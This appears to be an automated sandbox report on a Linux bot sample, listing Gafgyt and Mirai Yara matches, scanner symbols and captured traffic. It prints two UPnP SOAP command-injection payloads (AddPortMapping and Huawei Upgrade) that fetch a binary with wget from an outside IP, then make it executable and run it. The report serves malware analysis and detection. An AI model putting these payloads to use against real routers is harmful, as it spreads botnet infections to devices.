HTTP traffic detected: POST /picsdesc.xml HTTP/1.1Content-Length: 630Accept-Encoding: gzip, deflateSOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMappingAccept: /User-Agent: Hello-WorldConnection: keep-aliveData Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 2f 25 32 32 25 33 45 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 30 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 63 64 20 2f 76 61 72 2f 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 2f 6d 69 70 73 3b 20 63 68 6d 6f 64 20 2b 78 20 6d 69 70 73 3b 20 2e 2f 6d 69 70 73 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope//" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding//%22%3E<s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>cd /var/; wget http://212.81.47.208/mips; chmod +x mips; ./mips</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Source: x86.elf	String found in binary or memory: http://212.81.47.208/mips;
Source: x86.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: x86.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding//%22%3E
Source: x86.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: x86.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope//

Source: unknown

Network traffic detected: HTTP traffic on port 46540 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_a6a2adb9 Author: unknown
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_f3d83a74 Author: unknown
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_e0673a90 Author: unknown
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_a0a4de11 Author: unknown
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_09c3070e Author: unknown
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_46eec778 Author: unknown
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d0c57a2e Author: unknown
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_656bf077 Author: unknown
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_dd0d6173 Author: unknown
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_779e142f Author: unknown
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_cf84c9f2 Author: unknown
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_0cd591cd Author: unknown
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_862c4e0e Author: unknown
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_32eb0c81 Author: unknown
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_a33a8363 Author: unknown
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_3fe3c668 Author: unknown
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_637f2c04 Author: unknown
Source: 5488.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5488.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a6a2adb9 Author: unknown
Source: 5488.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: 5488.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_f3d83a74 Author: unknown
Source: 5488.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: 5488.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_e0673a90 Author: unknown
Source: 5488.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a0a4de11 Author: unknown
Source: 5488.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: 5488.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_09c3070e Author: unknown
Source: 5488.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_46eec778 Author: unknown
Source: 5488.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: 5488.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d0c57a2e Author: unknown
Source: 5488.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_656bf077 Author: unknown
Source: 5488.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: 5488.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_dd0d6173 Author: unknown
Source: 5488.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_779e142f Author: unknown
Source: 5488.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_cf84c9f2 Author: unknown
Source: 5488.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_0cd591cd Author: unknown
Source: 5488.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: 5488.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_862c4e0e Author: unknown
Source: 5488.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_32eb0c81 Author: unknown
Source: 5488.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a33a8363 Author: unknown
Source: 5488.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_3fe3c668 Author: unknown
Source: 5488.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_637f2c04 Author: unknown
Source: 5489.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5489.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a6a2adb9 Author: unknown
Source: 5489.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: 5489.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_f3d83a74 Author: unknown
Source: 5489.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: 5489.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_e0673a90 Author: unknown
Source: 5489.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a0a4de11 Author: unknown
Source: 5489.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: 5489.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_09c3070e Author: unknown
Source: 5489.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_46eec778 Author: unknown
Source: 5489.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: 5489.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d0c57a2e Author: unknown
Source: 5489.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_656bf077 Author: unknown
Source: 5489.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: 5489.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_dd0d6173 Author: unknown
Source: 5489.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_779e142f Author: unknown
Source: 5489.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_cf84c9f2 Author: unknown
Source: 5489.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_0cd591cd Author: unknown
Source: 5489.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: 5489.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_862c4e0e Author: unknown
Source: 5489.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_32eb0c81 Author: unknown
Source: 5489.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a33a8363 Author: unknown
Source: 5489.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_3fe3c668 Author: unknown
Source: 5489.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_637f2c04 Author: unknown
Source: 5494.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5494.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a6a2adb9 Author: unknown
Source: 5494.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: 5494.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_f3d83a74 Author: unknown
Source: 5494.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: 5494.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_e0673a90 Author: unknown
Source: 5494.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a0a4de11 Author: unknown
Source: 5494.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: 5494.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_09c3070e Author: unknown
Source: 5494.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_46eec778 Author: unknown
Source: 5494.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: 5494.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d0c57a2e Author: unknown
Source: 5494.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_656bf077 Author: unknown
Source: 5494.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: 5494.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_dd0d6173 Author: unknown
Source: 5494.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_779e142f Author: unknown
Source: 5494.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_cf84c9f2 Author: unknown
Source: 5494.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_0cd591cd Author: unknown
Source: 5494.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: 5494.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_862c4e0e Author: unknown
Source: 5494.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_32eb0c81 Author: unknown
Source: 5494.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a33a8363 Author: unknown
Source: 5494.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_3fe3c668 Author: unknown
Source: 5494.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_637f2c04 Author: unknown
Source: Process Memory Space: x86.elf PID: 5488, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: x86.elf PID: 5489, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: x86.elf PID: 5494, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown

Contains symbols with names commonly found in malware

Source: ELF static info symbol of initial sample

Name: vseattack

Source: x86.elf	ELF static info symbol of initial sample: huawei_scanner.c
Source: x86.elf	ELF static info symbol of initial sample: huaweiscanner_fake_time
Source: x86.elf	ELF static info symbol of initial sample: huaweiscanner_get_random_ip
Source: x86.elf	ELF static info symbol of initial sample: huaweiscanner_recv_strip_null
Source: x86.elf	ELF static info symbol of initial sample: huaweiscanner_rsck
Source: x86.elf	ELF static info symbol of initial sample: huaweiscanner_rsck_out
Source: x86.elf	ELF static info symbol of initial sample: huaweiscanner_scanner_init
Source: x86.elf	ELF static info symbol of initial sample: huaweiscanner_scanner_kill
Source: x86.elf	ELF static info symbol of initial sample: huaweiscanner_scanner_pid
Source: x86.elf	ELF static info symbol of initial sample: huaweiscanner_scanner_rawpkt
Source: x86.elf	ELF static info symbol of initial sample: huaweiscanner_setup_connection
Source: x86.elf	ELF static info symbol of initial sample: realtek_scanner.c
Source: x86.elf	ELF static info symbol of initial sample: realtekscanner_fake_time
Source: x86.elf	ELF static info symbol of initial sample: realtekscanner_get_random_ip
Source: x86.elf	ELF static info symbol of initial sample: realtekscanner_recv_strip_null
Source: x86.elf	ELF static info symbol of initial sample: realtekscanner_rsck
Source: x86.elf	ELF static info symbol of initial sample: realtekscanner_rsck_out
Source: x86.elf	ELF static info symbol of initial sample: realtekscanner_scanner_init
Source: x86.elf	ELF static info symbol of initial sample: realtekscanner_scanner_kill
Source: x86.elf	ELF static info symbol of initial sample: realtekscanner_scanner_pid
Source: x86.elf	ELF static info symbol of initial sample: realtekscanner_scanner_rawpkt
Source: x86.elf	ELF static info symbol of initial sample: realtekscanner_setup_connection
Source: x86.elf	ELF static info symbol of initial sample: scanner_init
Source: x86.elf	ELF static info symbol of initial sample: scanner_kill
Source: x86.elf	ELF static info symbol of initial sample: scanner_pid
Source: x86.elf	ELF static info symbol of initial sample: scanner_rawpkt
Source: x86.elf	ELF static info symbol of initial sample: telnet_scanner.c

Source: Initial sample

String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_a6a2adb9 reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = cdd0bb9ce40a000bb86b0c76616fe71fb7dbb87a044ddd778b7a07fdf804b877, id = a6a2adb9-9d54-42d4-abed-5b30d8062e97, last_modified = 2021-09-16
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_f3d83a74 reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 1c5df68501b688905484ed47dc588306828aa7c114644428e22e5021bb39bd4a, id = f3d83a74-2888-435a-9a3c-b7de25084e9a, last_modified = 2021-09-16
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_e0673a90 reference_sample = c5a317d0d8470814ff343ce78ad2428ebb3f036763fcf703a589b6c4d33a3ec6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 6834f65d54bbfb926f986fe2dd72cd30bf9804ed65fcc71c2c848e72350f386a, id = e0673a90-165e-4347-a965-e8d14fdf684b, last_modified = 2021-09-16
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_a0a4de11 reference_sample = cf1ca1d824c8687e87a5b0275a0e39fa101442b4bbf470859ddda9982f9b3417, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 891cfc6a4c38fb257ada29050e0047bd1301e8f0a6a1a919685b1fcc2960b047, id = a0a4de11-fe65-449f-a990-ad5f18ac66f0, last_modified = 2021-09-16
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_09c3070e reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 84fad96b60b297736c149e14de12671ff778bff427ab7684df2c541a6f6d7e7d, id = 09c3070e-4b71-45a0-aa62-0cc6e496644a, last_modified = 2021-09-16
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_46eec778 reference_sample = 9526277255a8d632355bfe54d53154c9c54a4ab75e3ba24333c73ad0ed7cadb1, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 2602371a40171870b1cf024f262e95a2853de53de39c3a6cd3de811e81dd3518, id = 46eec778-7342-4ef7-adac-35bc0cdb9867, last_modified = 2021-09-16
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d0c57a2e os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 3ee7d3a33575ed3aa7431489a8fb18bf30cfd5d6c776066ab2a27f93303124b6, id = d0c57a2e-c10c-436c-be13-50a269326cf2, last_modified = 2021-09-16
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_656bf077 reference_sample = c5a317d0d8470814ff343ce78ad2428ebb3f036763fcf703a589b6c4d33a3ec6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 3ea8ed60190198d5887bb7093975d648a9fd78234827d648a8258008c965b1c1, id = 656bf077-ca0c-4d28-9daa-eb6baafaf467, last_modified = 2021-09-16
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_dd0d6173 reference_sample = c5a317d0d8470814ff343ce78ad2428ebb3f036763fcf703a589b6c4d33a3ec6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 5e2cb111c2b712951b71166111d339724b4f52b93f90cb474f1e67598212605f, id = dd0d6173-b863-45cf-9348-3375a4e624cf, last_modified = 2021-09-16
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_779e142f reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 83377b6fa77fda4544c409487d2d2c1ddcef8f7d4120f49a18888c7536f3969f, id = 779e142f-b867-46e6-b1fb-9105976f42fd, last_modified = 2021-09-16
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_cf84c9f2 reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = bb766b356c3e8706740e3bb9b4a7171d8eb5137e09fc7ab6952412fa55e2dcfc, id = cf84c9f2-7435-4faf-8c5f-d14945ffad7a, last_modified = 2021-09-16
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_0cd591cd os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 96c4ff70729ddb981adafd8c8277649a88a87e380d2f321dff53f0741675fb1b, id = 0cd591cd-c348-4c3a-a895-2063cf892cda, last_modified = 2021-09-16
